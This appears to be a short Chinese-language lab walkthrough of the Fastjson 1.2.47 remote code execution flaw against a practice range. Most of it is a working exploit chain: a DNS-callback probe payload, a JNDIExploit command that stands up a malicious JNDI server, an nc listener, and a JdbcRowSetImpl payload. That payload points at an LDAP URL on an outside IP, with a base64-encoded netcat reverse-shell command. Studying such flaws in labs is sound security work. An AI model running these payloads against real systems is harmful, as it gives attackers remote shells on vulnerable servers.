Fastjson 1.2.47 远程代码执行

靶场搭建
直接使用极核靶场

https://hackhub.get-shell.com/games/4/challenges#16-Fastjson-1.2.47---%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C

靶场
首页
image

发现登录页面,删除末尾的括号,报错就是fastjson
image

修改POST的Body体为如下数据,val值替换成你的dnslog

{
  "@type":"java.net.Inet4Address",
  "val":"xpqq7y1yn3giz2xm59djyvbgw720qqef.oastify.com"
}

image

攻击机通过JNDIExploit 工具架设恶意JNDI服务(用法看工具手册)

java -jar JNDIExploit-1.3-SNAPSHOT.jar -i <你的机器IP>

image

nc监听端口

nc -lvp 12345

image

构造数据包反弹shell,将dataSourceName的内容进行base64解码,然后将ip and port 换成自己的服务器

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://120.48.99.160:1389/Basic/Command/Base64/bmMgMTIwLjQ4Ljk5LjE2MCAxMjM0NSAtZSAvYmluL3No",
        "autoCommit":true
    }
}

image

成功getshell
image

posted @ 2025-09-08 18:14  x3c  阅读(11)  评论(0)    收藏  举报